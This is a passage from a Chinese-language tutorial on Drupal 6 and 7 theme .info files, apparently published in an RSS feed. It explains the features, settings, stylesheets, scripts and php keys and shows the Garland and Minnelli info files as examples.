&lt;p&gt;如果在Drupal 7中进行区域定义，会强制用户定义regions[content] = content。如果需要使用任何缺省区域，也都需要重新定义，这方面内容可以参考&lt;a href=&#34;https://www.drupal.org/node/171224&#34; target=&#34;_blank&#34;&gt;《块，内容和区域》&lt;/a&gt;一文。&lt;/p&gt;

&lt;p&gt;###features&lt;/p&gt;

&lt;p&gt;很多主题输出的页面元素都可以在主题的配置页面上设置开关。&amp;rdquo;features&amp;rdquo;键控制了哪些复选框出现在主题的配置页面上。注释掉部分features，相对应的复选框就会隐藏，然而如果注释掉所有的，那么就会缺省显示所有的复选框。&lt;/p&gt;

&lt;p&gt;下面的例子展示了所有features控制的元素。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Drupal 6 features&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;primary_links 和 secondary_links被注释，他们对应的复选框会被隐藏。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;features[] = logo
features[] = name
features[] = slogan
features[] = mission
features[] = node_user_picture
features[] = comment_user_picture
features[] = search
features[] = favicon
; These last two disabled by redefining the
; above defaults with only the needed features.
; features[] = primary_links
; features[] = secondary_links
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;strong&gt;Drupal 7 features&lt;/strong&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;features[] = logo
features[] = name
features[] = slogan
features[] = node_user_picture
features[] = comment_user_picture
features[] = comment_user_verification
features[] = favicon
features[] = main_menu
features[] = secondary_menu
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;更多细节可以参考&lt;a href=&#34;https://www.drupal.org/node/221905&#34; target=&#34;_blank&#34;&gt;《定制主题设置项》&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;###theme settings&lt;/p&gt;

&lt;p&gt;可以利用info文件中的这一配置来设置features中的选中状态。用&lt;code&gt;settings[toggle_&amp;quot;feature&amp;quot;] = 0&lt;/code&gt; 来设置某个feature为未选状态。&lt;/p&gt;

&lt;p&gt;例如缺省设置：&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Drupal 7&lt;/strong&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;settings[toggle_logo] = 1
settings[toggle_name] = 1
settings[toggle_slogan] = 1
settings[toggle_node_user_picture] = 1
settings[toggle_comment_user_picture] = 1
settings[toggle_comment_user_verification] = 1
settings[toggle_favicon] = 1
settings[toggle_main_menu] = 1
settings[toggle_secondary_menu] = 1
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个设置的更多细节可以参考&lt;a href=&#34;https://www.drupal.org/node/177868&#34; target=&#34;_blank&#34;&gt;《高级主题设置》&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;###stylesheets&lt;/p&gt;

&lt;p&gt;一般来说，主题缺省会使用style.css，并可以利用&lt;a href=&#34;http://api.drupal.org/api/function/drupal_add_css&#34; target=&#34;_blank&#34;&gt;drupal_add_css&lt;/a&gt;的方式在template.php中增加附加的css。Drupal 6开始，主题还可以利用info文件来添加css。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;stylesheets[all][] = theStyle.css
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在Drupal 7中，主题不再缺省使用style.css。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://www.drupal.org/node/171209&#34; target=&#34;_blank&#34;&gt;《样式表》&lt;/a&gt;一节提供了这方面的更多信息。&lt;/p&gt;

&lt;p&gt;###scripts&lt;/p&gt;

&lt;p&gt;传统上，主题可以在template.php中使用&lt;a href=&#34;http://api.drupal.org/api/function/drupal_add_js&#34; target=&#34;_blank&#34;&gt;drupal_add_js&lt;/a&gt;来引入js文件。从Drupal 6.x开始，如果主题目录下存在一个名为stript.js的文件，那么这个文件会被自动包含。然而，在Drupal 7中这一行为再次变更，一个脚本文件只有在scripts中声明，才会被导入。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;scripts[] = myscript.js
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;a href=&#34;https://www.drupal.org/node/171213&#34; target=&#34;_blank&#34;&gt;《JavaScript和jQuery》&lt;/a&gt;一节可以找到更多这方面的内容。&lt;/p&gt;

&lt;p&gt;###php&lt;/p&gt;

&lt;p&gt;这里定义对PHP版本的最低需求。这一项的缺省值来自于常量&lt;a href=&#34;http://api.drupal.org/api/constant/DRUPAL_MINIMUM_PHP&#34; target=&#34;_blank&#34;&gt;DRUPAL_MINIMUM_PHP&lt;/a&gt;，代表核心需要的最低PHP版本。主题可以声明需要一个更高的版本，当然，一般不建议这样做。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;php = 4.3.3
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;###核心主题的info文件实例&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Garland&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://www.drupal.org/files/info_display.png&#34; alt=&#34;Garland info&#34; /&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;name = Garland
description = Tableless, recolorable, multi-column, fluid width theme (default).
version = VERSION
core = 6.x
engine = phptemplate
stylesheets[all][] = style.css
stylesheets[print][] = print.css
; Information added by drupal.org packaging script on 2008-02-13
version = &amp;quot;6.0&amp;quot;
project = &amp;quot;drupal&amp;quot;
datestamp = &amp;quot;1202913006&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;strong&gt;Garland的子主题：Minnelli&lt;/strong&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;name = Minnelli
description = Tableless, recolorable, multi-column, fixed width theme.
version = VERSION
core = 6.x
base theme = garland
stylesheets[all][] = minnelli.css
; Information added by drupal.org packaging script on 2008-02-13
version = &amp;quot;6.0&amp;quot;
project = &amp;quot;drupal&amp;quot;
datestamp = &amp;quot;1202913006&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;注意所有;标记的行之后都是drupal.org的打包脚本生成的，不需要手工添加project和时间戳。第一节中的version是用来从其他途径获取你的主题的用户区别版本需求使用的。&lt;/p&gt;
</description>
    </item>
    
  </channel>
</rss>
